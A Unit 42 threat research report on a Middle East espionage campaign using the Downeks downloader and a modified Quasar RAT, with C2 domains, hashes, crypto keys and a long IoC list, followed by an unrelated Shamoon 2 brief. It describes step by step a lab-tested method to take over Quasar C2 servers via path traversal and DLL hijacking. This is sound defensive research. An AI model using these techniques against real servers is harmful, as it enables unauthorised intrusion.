SHA256: 1ac624aaf6bbc2e3b966182888411f92797bd30b6fcce9f8a97648e64f13506f

We found the same Quasar code in an additional attack on the same day, but upon a different target. A second Quasar sample was also observed attacking this new victim:

SHA256: 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f

We do not have detailed visibility into the specific host attacked, and have not been able to reproduce the second stage of the attack in our lab. However, based upon the timeframe of subsequent telemetry we observe, we understand the attack chain as follows:

  1. The initial dropper (which varies across attacks) is delivered to the victim via email or web:

File Name: Joint Ministerial Council between the GCC and the EU Council.exe"
SHA256: 0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa

  1. The initial dropper, upon execution, extracts an embedded Downeks instance:

File Name: ati.exe
SHA256: f19bc664558177b7269f52edcec74ecdb38ed2ab9e706b68d9cbb3a53c243dec

  1. Downeks makes a POST request to dw.downloadtesting[.]com, resulting in the installation of the Quasar RAT on the victim machine.
  2. Additional Downeks downloaders connecting to the previously-observed server dw.downloadtesting[.]com were also found in this attack:

SHA256: 15abd32342e87455b73f1e2ecf9ab10331600eb4eae54e1dfc25ba2f9d8c2e8a

SHA256: 9a8d73cb7069832b9523c55224ae4153ea529ecc50392fef59da5b5d1db1c740

Further research identified dozens of Dowenks and Quasar samples related to these attackers. All included decoy documents written in Arabic (all related to Middle Eastern politics) or Hebrew. Most of them use the same mutex structure, share the same fake icon and unique metadata details, file writes, registry operations, and fake common program metadata, as seen in DustySky samples.

The Downeks downloader and Quasar C2 infrastructures are each self-contained and independent of each other. However, we did find a single shared IP address demonstrably connecting the Downeks downloader and Quasar C2 infrastructure s. The below chart (Figure 1) shows Quasar infrastructure (top), Downeks (bottom), and the shared IP link.

quasar_1

Figure 1- Quasar and Downeks

Charting the samples and infrastructure clearly shows the separate Downeks campaigns, and infrastructure links (Figure 2):

quasar_2

Figure 2- Infrastructure Patterns and Connections

In Figure 2, top-right (green) has the Quasar infrastructure (Figure 3), with a link to the Downeks infrastructure. Left (yellow) is DustySky infrastructure (Figure 4) and the links to this Downeks campaign. As well as similarities in the code, decoys and targets, we also identified C2 infrastructure links between DustySky and this campaign. The remainder is sub-campaigns of Downeks samples, their infrastructure, their links – and a favored ISP (center) (Figure 5).

fig3-5

The timing of the attacks is commensurate with the Middle-Eastern working week (Figure 6):

fig6

Figure 6- Attacks by day-of-the-week

The sample build days-of-the-week follow an almost identical pattern (Figure 7):

fig7

Figure 7- Builds by day-of-the-week

We saw five samples built on the same date in December 2015, and six on the same date in January, further solidifying the link between each sample.

Quasar

We analyzed a Quasar sample we found that was communicating with an active C2 server at the time of analysis:

SHA256: 4393ff391396cdfd229517dd98aa7faecad04da479fe8ca322f035ceee363273

Quasar is a publicly-available commodity RAT, an evolution of his earlier xRAT, by German developer “MaxXor”. This sample is a modified version of Quasar, most likely forked from open source version 1.2.0.0 on GitHub. The client was likely built using the Quasar server client builder. We observed the following customizations:

C2 server:

app.progsupdate[.]com, which resolved to 185.141.25[.]68), over port 4664.

Quasar mutex name:

VMFvdCsC7RFqerZinfV0sxJFo

Keylogger log location:

Users\hJTQwqwwSCkZU\AppData\Roaming\GoogleDesktop\<date>

The malware uses fake version information to appear as a Microsoft update program, as well as Google Desktop once unpacked.

quasar_8

Packer

This sample is packed by “Netz”, a simple .NET Framework packer which stores the original executable compressed (zlib) as a resource. At runtime, the packer decompresses the resource and uses Reflection to load the assembly, find its Entry point, and Invoke it. Extracting the payload is straight forward – we simply dump the resource and decompress it. After decompilation, the packer looks like this:

Find the resource and call InvokeApp:

Get the assembly object by decompressing the resource and loading it with Reflection:

And finally, find the entry point and invoke it:

Extracting produces:

SHA256: c931de65d9655a772d23e4227a627a1140d8d3c4912ca71c324421b13efa1a02

quasar_9

This layer uses obfuscation in an attempt to avoid detection/analysis.

Obfuscation

We discovered that the sample was obfuscated using .NET reactor. It is possible to decompile the deobfuscated sample and retrieve most of the original source code but not enough to compile it easily.

After deobfuscation we extracted:

SHA256: d773b12894d4a0ffb0df328e7e1aa4a7112455e88945a10471650e503eecdb3d

quasar_10

Quasar Code

After decompiling the sample, we were able to document the modifications from the open-source Quasar.

Settings

The configuration of Quasar is stored in the Settings object, which is encrypted with a password which is itself stored unencrypted.

Modifications:

  • The ISCHECKIP and INSTARTUPFOLDER are not found in open source Quasar samples.

Cryptography

The sample we analyzed is using RijndaelManaged with ECB mode and PKCS7 padding. The key is the SHA256 hash of the hard-coded password. The password of the sample we analyzed is:

“6y7u^Y&U6y7u^Y&U6y7u^Y&U”

Although at first glance this appears somewhat complex, it is in fact a rather simple, repeated keyboard sequence. We observe similar keyboard patterns in other samples: “567%^&”, “zxc!@#ASD”.

Modifications:

  • Uses SHA256 instead of MD5 to create the key.
  • Uses RijndaelManaged instead of AES for encryption. (with ECB mode, which is considered weak).

Serialization

Quasar contains the NetSerializer library that handles serialization of high level IPacket objects that the client and server use to communicate. The serialization assigns unique IDs for serializable objects types. The open source and several other samples we found give a dynamically-assigned 1 byte ID at compile time. The sample we analyzed changed that behavior and hard-coded DWORD for each object type. This is a better implementation, as it allows servers and clients from different versions to communicate with each other to some extent.

Version

The sample we analyzed is most likely forked from open source quasar 1.2.0.0. We find multiple file/object names hinting at the version, but must compelling:

  • Quasar version 1.1.0.0 names the encryption module name space "Encryption", while subsequent Quasar versions use "Cryptography" – which we observe in this sample.
  • Quasar version 1.3.0.0 changed the encryption key generation, and stopped saving the password in the sample. There are more indications as well, such as names of objects, files etc.

Other samples we analyzed had different combinations of modification to cryptography and serialization.

The C2 server

Our decompilation of the serialization library was not complete enough to allow simple recompilation. Instead, we downloaded and compiled the 1.2.0.0 server of the open-source Quasar RAT, having determined that this seemed likely the most similar version. The out-of-the-box server could not communicate with the client sample owing to the previously documented modifications that we had observed. We incorporated those changes into our build, discovering that this worked for most sample versions with almost no further modification.

Both the client and the server use the same code to serialize and encrypt the communications. Instead of compiling a different server for each client, our server uses the code from within the client to communicate with it. Using Reflection, the server can load the assembly of the client to find the relevant functions and passwords.

Load the client assembly:

Encryption:

Rather straight forward, as the server version uses the same API as the sample client.

Get the AES class:

Getting the setDefKey, encrypt and decrypt methods:

Replace the server functions:

with

with

with

Serialization:

This was more complex. Both the client and server uses the same API, but the client serializer cannot serialize server objects, because they are not the same as their "mirrored" objects inside the client. In some cases these objects are completely different, for example the server commands to get the file system.

Our solution is to:

  1. Translate on the fly the objects the server send to mirrored matching client objects (will not work if client doesn’t have this object, or renamed it).
  2. Copy the content from the server object into the new client object (will not work if client implementation is different).
  3. Serialize the client object (which will be later encrypted and sent).
  4. Deserialize the decrypted response into another client response object.
  5. Translate the client response object into the server version of the client response object.
  6. Copy the contents from the client response object into the translated server object.
  7. Return the translated object.

Communication

Our sample communicates with app.progsupdate[.]com, which resolved to 185.141.25[.]68, over TCP port 4664.

Architecture

This is the communication architecture between quasar client and server (Figure 8):

quasar_11

Figure 8- Communication Architecture

  1. The server sends a command. for example, “Get System Information”.
  2. The command is translated to an IPacket of type GetSystemInfo.
  3. The packet is serialized into a stream of bytes.
  4. The stream of bytes is encrypted (in some versions there is also optional compression step).
  5. The stream of bytes is sent over TCP to the client.
  6. The client receives and decrypts the packet.
  7. The client deserializes the packet into IPacket GetSystemInfo.
  8. The relevant handler of the client is called, collects the system information and sends it back inside IPacket of GetSystemInfoResponse.

Each of these layers seems to be different to some extent in the various samples we found. The IPacket, Serialization and Encryption framework code is shared between the client and the server, therefore we can use it with Reflection. However the Server handlers and command function are not, so we cannot create a completely perfect simulation.

Initial handshake

After the TCP handshake completes, the server starts another handshake with the client by sending packets in the following order (Figure 9):

quasar_12

Figure 9- Initial Handshake

The client returns data to the server about the victim computer, which is displayed in the server GUI (Figure 10):

quasar_13

Figure 10- Quasar RAT Server GUI

The server and client then enter into a keep-alive mode, where the attacker can send commands to the client and receive further responses.

RAT commands

The attacker can issue commands (not all commands appear in different samples) through the Quasar server GUI for each client:

  • Get system information
  • Get file system
  • Upload / download / execute files
  • Startup manager
  • Open task manager
  • Kill / start processes
  • Edit registry
  • Reverse Proxy
  • Shutdown / restart the computer
  • Open remote desktop connection
  • Observe the desktop and actions of active user
  • Issue remote mouse clicks and keyboard strokes
  • Password stealing
  • Retrieve Keylogger logs
  • Visit website
  • Display a message box

Our server build was able to successfully execute most of the commands.

The file system commands underling handlers and IPacket were modified to support more features, so these commands don’t work out of the box and required manual implementation from us.

A Double-Edged Sword…

With further analysis of the Quasar RAT C2 Server, we uncovered vulnerabilities in the server code, which would allow remote code execution. This might allow a second attacker to install code of their choice – for example, their own Quasar RAT – on the original attacker’s server. We refer to this (somewhat ironic) technique as a “Double Edged Sword Attack”. We did not apply this to any live C2 servers – we only tested this with our own servers in our lab.

In the lab, we changed our Quasar RAT source code to use the known encryption key, and to send fake victim IP address, City, Country code, Flag, and Username. The Quasar server does not verify the RAT data, and displays this data in the RAT Server GUI when the RAT is executed and connects to the server. We found this could be used to supply compelling “victim data” to convince the attacker to connect to this “victim” via the GUI.

Quasar server includes a File Manager window, allowing the attacker to select victim files, and trigger file operations – for example, uploading a file from victim machine to server. Uploaded files are written to the server sub directory “clients\user_name@machine_name_ipaddress”.

Quasar server does not verify that the size, filename, extension, or header of the uploaded file is the same as requested. Therefore, if we convince the attacker to request the file “secret_info.doc (20KB)”, we can instead return to the server any file of our choice, of any size or type.

When the Quasar server retrieves the name of the uploaded file from the victim, it does not verify that it is a valid file path. Therefore sending the file path "..\..\ secret_info.doc " will result in writing our file instead to the same directory as the Quasar server code.

Quasar server does not even verify that a file was requested from the victim. Immediately when the File Manager window is opened by the attacker, the Quasar server sends two commands to the RAT: GetDrives and listDirectory (to populate the list of the victim’s files in the RAT Server GUI). We can respond to those commands by instead sending two files of our choice to the Quasar server. Again, we control the content of the file, the size and the path and filename.

Quasar is a .NET Framework assembly, loading multiple DLLs upon launch, for example “dnsapi.dll”. Quasar server is vulnerable to a simple DLL hijacking attack, by using this technique to replace server DLLs.

When the attacker restarts the Quasar application, our uploaded “dnsapi.dll” will instead be loaded. Through this vector, we could drop our own Quasar client on the attacker’s server and execute it. Our Quasar RAT will connect to our own (secured, of course) Quasar server, allowing us to control that attacker’s server with his own RAT. We can also replace “shfolder.dll” (and add a DLL export proxy to avoid a crash), which is loaded whenever the attacker clicks the builder tab – allowing us to infect the server while it runs, without the need to wait for application restart.

Downeks

Although Downeks has been publicly examined to some extent, our analysis found several features not previously described.

Earlier Downeks samples were all written in native code. However, among our Downeks samples, we found new versions apparently written in .NET. We observe many behavioral similarities and unique strings across both the native-Downeks versions, and the new .NET Downeks versions. Almost all of the strings and behaviors we describe in this analysis of a .NET version are also present in the native version.

We observed these samples deployed only against Hebrew-speaking targets.

Downeks.NET – “SharpDownloader”

Downeks .NET internal name is “SharpDownloader”, “Sharp” may be a reference to the language it was written in – C#.

As seen in previous Downeks versions, it uses masquerades with icons, filenames and metadata imitating popular legitimate applications such as VMware workstation (Figure 1) and CCleaner, or common file formats such as DOC and PDF.

quasar_14

Figure 11 - Application metadata masquerading as VMWare Workstation

All 3 samples were compiled with the same timestamp. Downeks.NET is obfuscated using “Yano” and can be easily de-obfuscated using the de4dot utility.

SHA256: 4dcf5bd2c7a5822831d9f22f46bd2369c4c9df17cc99eb29975b5e8ae7e88606
SHA256: 905f6a62749ca6f0fd33345d6a8b1831d87e9fd1f81a59cd3add82643b367693
SHA256: c885f09b10feb88d7d176fe1a01ed8b480deb42324d2bb825e96fe1408e2a35f

Communication

Downeks is a backdoor with only very basic capabilities. It communicates with the C2 server using HTTP POST requests.

It runs in an infinite loop, in each iteration it requests a command from the C2, and then it sleeps for a time period it receives in the C2 response (defaulting to 1 second if no sleep-time sent).

The data that is sent in the POST is serialized with json, which is then is encrypted, and finally encoded in base64. The json format is typically {“mth”:”some_method”, “data”:”some_encrypted_data”}. The C2 server responds using the same format and serialization/encryption/encoding.

Download and Execute

As described in earlier analyses, Downeks’ main purpose is as a downloader. Unfortunately, we were unable to get any C2 servers to issue download commands to any samples that we tested in our lab.

The download is initiated upon receiving json with a “download” command, which includes the URL of the file to be downloaded. Downeks can also be instructed to execute binaries that already exist on the victim machine. After successful execution, Downeks returns the results to the C2 server.

Downeks also has a self-update capability, if instructed by the C2.

Screen Capture

Downeks can be instructed with the “img” command to capture the victim screen and transmit it back to the C2. The parameters “wth” and “qlt” specify “width” and “quality”.

Appdata

Downeks .NET creates a file in the “Appdata” directory, based on certain properties of the machine. During our analysis, Downeks created a file in “Appdata\Roaming” containing only “SD{new line} 0” (“SD” possibly for “SharpDownloader”).

Although this file itself is not particularly interesting, the older (native) Downeks versions also creates a file in Appdata\Roaming, with identical data.

The filenames across the two variants bear striking similarities. The .NET variant creates “1FABFBFF0000065132F71D94”, while the native version creates “000206511FABFBFF”. We observed the string “1FABFBFF0000065132F71D94” in memory during debugging of the native variant (Figure 12). This is a pseudo-unique ID for each machine, based on install date taken from the registry, volume serial number, OS version and service pack, Processor architecture, and computer name.

quasar_15

Figure 12 - Machine ID in memory

Installed Antivirus check

Downeks enumerates any antivirus products installed on the victim machine and transmits the list to the C2. It constructs this list using the WMI query:

“SELECT displayName FROM AntivirusProduct”

Persistence

Downeks achieves host persistence through either the registry “run” key or with a shortcut in the start-up folder.

External IP

In another similarity between both variants, Dowenks assesses the victim’s external IP using an HTTP request to http://www.myexternalip.com/raw.

Other commands

Downeks can be instructed by the C2 to perform a few other commands:

  • Check if the computer name and user name, or external IP address, is in a provided list and if so, display a message box with a message as defined by the C2.
  • Kill any running process and attempt to delete the associated executable.
  • “Setup” command – sends various info about the machine with each iteration of the C2 communications loop.

Encryption keys

Downeks has static encryption keys hardcoded in the code. These keys are initialized in the “Defaults” class constructor, suggesting that the author of this malware has great affection for stackoverflow:

Typos

We observed some typos in the code, such as “responce” ( “response”) and “GroubID” (“GroupID”) in this version.

Coverage & IoCs

Palo Alto Networks customers are protected from Downeks and Quasar used in this attack:

  • WildFire properly classifies these Downeks and Quasar samples as malicious.
  • Traps detects and blocks malicious behavior exhibited by new, unknown Quasar samples.
  • C2 servers associated with this activity are blocked through Threat Prevention DNS signatures.
  • AutoFocus customers can monitor this activity using the Downeks and QuasarRAT tags.

A list of Indicators of Compromise can be found in Appendix C - IoCs.

Appendix A - IoCs

C2 Domains

downloadtesting.com
gameoolines.com
onlinesoft.space
newphoneapp.com
gamestoplay.bid
smartsftp.pw
galaxysupdates.com
galaxy-s.com
datasamsung.com
progsupdate.com
topgamse.com
bandtester.com
speedbind.com
ukgames.tech
wallanews.publicvm.com
wallanews.sytes.net
noredirecto.redirectme.net
dynamicipaddress.linkpc.net
downloadlog.linkpc.net
havan.qhigh.com
kolabdown.sytes.net
rotter2.publicvm.com
ftpserverit.otzo.com
webfile.myq-see.com
downloadmyhost.zapto.org
help2014.linkpc.net
safara.sytes.net
exportball.servegame.org
viewnet.better-than.tv
down.downloadoneyoutube.co.vu
netstreamag.publicvm.com
hostgatero.ddns.net
subsidiaryohio.linkpc.net
helpyoume.linkpc.net

Quasar & Downeks SHA256s

3053e1e8df7e525ef98a77190cefce258aea365e2998425ecc8e139230680156
f19bc664558177b7269f52edcec74ecdb38ed2ab9e706b68d9cbb3a53c243dec
0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa
96c1346351a53c865afef5e087a8cbcf8e28d652fbc083a93399a8b94328d456
15abd32342e87455b73f1e2ecf9ab10331600eb4eae54e1dfc25ba2f9d8c2e8a
b66e5af52fd4d802f64788692b3eafe6b5ff61cea09c06a237a96b6cdb90b41a
55a7ca1e5ed2d74c7eb6ab6a985c1d369157a91275f575967aefb7ddb3388e0c
9a8d73cb7069832b9523c55224ae4153ea529ecc50392fef59da5b5d1db1c740
39bdeaded0f919caa6697ae1ae4953de1c7afa79905939dbbd8c647a84f6cd07
0e41c3611da6e3a2b0dd0d43b9ce0b3f3405472efa5760767719cc82692afb7b
bc7c3f687d0589a4db53475bc65056a628b52aa27f84c1d76b9fe686d495df27
0d1aa670df8ae1379d6997c9dc8b40c893ee395c3d45b84c2ad1732e86973143
8ac7138215b2500d0737b483b9194419c0e0248014147e84f43b1e2b409184cf
8ca99455d244fab2701beb5127f94745154e03ac1231a58f8bd2cd01732a341b
a149340f920888256902e28e4c5d8587fed3037682e875ed1fdf6a3213c50e92
78aaed20914d3895708985aee089a464b31e11eb3b3e90b530dcebbe10e915ec
704b19e0460a0fa7d952ba6feb5eadb9054895d1d753df72faf6f470446a0519
118d0bd8ec35b925167c67217d2fe06ac021ce253f72d17f1093423b8f9b4a2b
68ec3588735341566e9736b897aac06affb4a4808b05ceffb72384e77ea04b2c
d3c710eaaf849598fa486823da42bdce03ea3c9421c3936e3330e98b34e4ef47
e6e9f7b0449976537d9276192e5767c9909cd34df028a8bf1cac3dbe490f0e73
75336b05443b94474434982fc53778d5e6e9e7fabaddae596af42a15fceb04e9
4dcf5bd2c7a5822831d9f22f46bd2369c4c9df17cc99eb29975b5e8ae7e88606
b8a3096a396c28462c0d168d97e28573e0e6d272bbc1dd2432e7effe098bd979
905f6a62749ca6f0fd33345d6a8b1831d87e9fd1f81a59cd3add82643b367693
c885f09b10feb88d7d176fe1a01ed8b480deb42324d2bb825e96fe1408e2a35f
0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a
1ac624aaf6bbc2e3b966182888411f92797bd30b6fcce9f8a97648e64f13506f
1acffe68fcdc301b8ab7640eda75ff82788b2f93d869e421e28bacbba93b76d1
723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42
99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f
86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806
3243292E46A198BD83E0DCE58258312852C99217187E6D5399066189FEB2677B
9b8d8780454708b950459d43161097ac72f62ff349bc8f379b5b2216bc9ae935
3619b12b11cda6e87644d3316355d99ee5fa5407aa8a8f107aa1058e33b19bf6
0f8378603e269db16eb7eaca933b587c7de3e914c1d9afaaae688c410befb895
d3066fa4a7a1ef38c753796479768b765c6903ef50c35352e29e79dcd49e4348
39b991838653739eef482af6336fcf03922d7e9d88d17946b688a513dd2bfc34
4393ff391396cdfd229517dd98aa7faecad04da479fe8ca322f035ceee363273
759ae70b035c3bbb6699520db3a55f3947e6ba1b5ce639ec036e3096ee10b26d
17942d9d76dafb64aa0d3ab53c9ee56e5d8bd4477440f06780b70dd4c02af8b8
fea74bf9eed7363f97a09756b4652409cfcd7bbe023383805aec5da7de6310bd
f5413c785770400215c3191ea887517b4380ec81be4e5bdc5aea12bf82f9105d
8cdbea2aea51f73c68adc517eed533802e1f3b2a9ec0b0560b6bb8fc03ac3e4f
dbdc72a7cfbf03599b95d8f1c47e157da34ea5d2f951cf5f49715e8caab58cd4
65986f6f919e9152176a10ae3964fac130ae6195e189453d17306a225022774d
91a4e395d57a52a85a2bda653a0ed796865e8af01c1345dff63469759448daf0
53e82d01dd2502416ad49329e1224a7c4519182186e60f690ecd0cf266f5af5e
575708d3eb23f8111b7174408f05caf6574c5d6782c750562bfb9abe48cb219e
fefa0781e88fa215419b2a1294c8b952b192f8360aeab2f97bbd9cea15fc7338
ea16f0d55918752ad432d0da03a7e39ab9a8442b74ae0bbe724900605a9ba71f
6f6414c8f8a800c769da1f6994cad25757a2928375803a498171db3395183b98
dbeb3c262cc6eefea93846f817e8333ee541ec23d19ffef56a94585e519e6ff1
2ddce8b010f011a04cf24dc8e5932ae13b463dd6a3cb9bf02ae835b04a70d042
182c82100069834ad4a8dadee6874cfb612f0b9babc7cd3ee5d69f16440ad6d7
f772463bafef5f45f675658eee43b6f56911a4f449afb0cc68ac068002a2f875
b30e3dc47848666e71c1f13050a6502b2c2a7a542ee867d152ffb2dd186d7114
e5e4895d2195e14a3a105f3ed73fd49493e9dbdd7dfc6f6616023473fa8f86c6
f4eda40b3f1c77f8f9e02674d93214dd31c13080b034e37b26cc66d744500b1e
95d9a2b664e3e5c1206d94241ded115643aa0452dd3fe3338363ff826260f40c
575b84c2d3bceebfabb2deb289a230f52aca2c504aa854251c1e9057f3f0cf5a
21f09c93325c03940c24d8bd6f33a1a4876bfd5feb8c8bac05b0a359255c0b42
695821451be582d85cd8e42ce4446f131bd474e6c715bdf13fe8bac6de34b2e3
e874deabb7953c2b9b5e67fc08297019bb0171c2fbdbe136b822cee4d43b72e5
6a700aea23f7cb6907e464981a136b0fbfb5a48b910af2f9a44baf98d25f1722
b6adae77a975058720e525a7f6d2451a01fedd3c6cab1515570d8490a8eb4f67
d735c19fc9223e1bc4e625c1f47801d758426fbae89e5086bc56a8d6b1df2011
a66a27d801891e39d3819355366399fabbf2f05327ddb7c7b5d304fabeac7118
cdf4ec8beb3f15d04b54165b53475aa03949a67f9cb1847a749b2fb44a3fe0a4
0045c28ed2a9d98efb798ec59f34b6a3058838f933af7c0dae6482a0e86e37bf
8814fec28ccac77456be73305b32ad5a266a4929203b2acf431759c90fe579bd
f1b682808f1819f0e3d030fce1fd6b1ca95ad052b069e028cd9ed4afd81cd4d6
f361974e6fd6a6d7cfbfafb28159c4f8e514fe6f399788be4daa2449767d5904
11b1088ad962984f6df89ccc6bbc98bf220af952dec0b4622f8453a0a164cb65
Aacf24e288388431b30f8da765b4696975adc9cc0303d285abb05077eda21da2
02bd710d3055076f86116d28427322c9cb623291c6c5a66c1932181fc6558586
5e7d68c53212f6d467533f105d4a067682e28da47304a53c17b056d2b4404f0a
3ff059a53e38f9fcd24e8d6bf008b4e14733db317857764cfcef736119ff26c9
dcc04adf96045e7227a0e1f1d092919276b21035bcb3c5ed462650ef8d2e7aa3
20e3d4c9223955495d00e72e2fedfe825e9fcda57696a255215895cfba490876
6050d4c1efcf8242382293842313f3a93309f1e449197d98c60cec29090c6bff
1d533ddaefc7859a3f6c6751114e895b7aa5935eb0ed68b01ec61aa8560ae3d9
488ba22d6cb8c9b0310c58fa4c4739692cdf45676c3164b357314322542f9dff
7eeeae1f2fc62653593c7ce254e9cf855905035c2e8f8c0588887cb8e99dd770
d2d08bb2707b635617e5bab0fcd033b6f68a753dd2b3897adca1c627758e686b
d30dbf17078a11c32dd23acea42335860e739c9f18bf0ed611132eef4d5cfcb6
7c578dcdcefe78fb1dd51ac611f6450d9eb5be6c5f1e3363f460321a46be4a39
a40627acae6917787e92f9efa85739136c1670dcc5fe66695e105ddd72d7b80a
5668470c92408f4b9f3a659005c2acca9da8df750cc491bffc88ef640474fa4a
d735c19fc9223e1bc4e625c1f47801d758426fbae89e5086bc56a8d6b1df2011
25e6bf67410dffb95c527c19dcff5223dbc3bf4c987650e45fbea1267072e8ff
f53fd5389b09c6ad289736720e72392dd5f30a1f7822dbc8c7c2e2b655b4dad9
2c2ae3f482d9db2541de0d855b5b12cd18028a94887f0c28acf1e2d6a4f3d4ac
a35e2b21f7f770debcffc79eb4834ec8881465df06cee41af705b6ea5d899978
a7aeeead233fcdfe1c7475db982497a82d8ae745ec1c58bd87215e8869c3f9e4
f0e3562d0438695c7f3af0c280968cfc7134b484010d9ba2aceab944b441b127
f5413c785770400215c3191ea887517b4380ec81be4e5bdc5aea12bf82f9105d
29049e2c7671a7c4fc953cb76e539150cc7c80e1b83c19d0894dfa446ce5276e
2eb7aa306551d693691d14558c5dc4f6d80ef8f69cf466149fbba23953c08f7f
dbdc72a7cfbf03599b95d8f1c47e157da34ea5d2f951cf5f49715e8caab58cd4
de3e25a69ba43b9f236e544ece7f2da82a4fafb4489ad2e263754d9b9d88bc5c
bc846caa05939b085837057bc4b9303357602ece83dc1380191bddd1402d4a2b
44b99603dde822b6b86577e64622e9a2f5b76b6d8bd23a3fe1b4d91b73d0230a
bb24105295588d14c4509ec7374fbe6f7a4821cf4e9d9282754dd666ad7a7ea1

Threat Brief: Shamoon 2 Wave 3 Attacks

Posted on by Unit 42

As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.

Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks. This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.

Aside from that difference, this latest wave of Shamoon 2 attacks appears to be the same as wave 1, which wiped systems on November 17, 2016, and wave 2, which wiped systems on November 29, 2016. The wave 3 samples our Unit 42 researchers have analyzed are similar to the other two waves in terms of the attack vectors, payloads and actions taken: there is no new intelligence to share on those.

This latest threat intelligence suggests that Shamoon 2 attacks are an ongoing situation and that additional waves of attack are possible in the future.

Organizations that are concerned about this situation and believe it poses risks to them should perform a risk assessment that considers the following possible actions in response:

  1. Examine all remote access traffic like RDP and SSH and block all unnecessary remote connections.
  2. Alternately, consider blocking all remote access connections to your organization altogether.
  3. Consider forcing a full password-reset organization-wide of all accounts, and especially those with administrative privileges.

In addition, organizations should review their backup strategies and disaster recovery/business continuity plans.

Our Unit 42 research team continues to follow the situation closely and we will provide updates as appropriate.

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow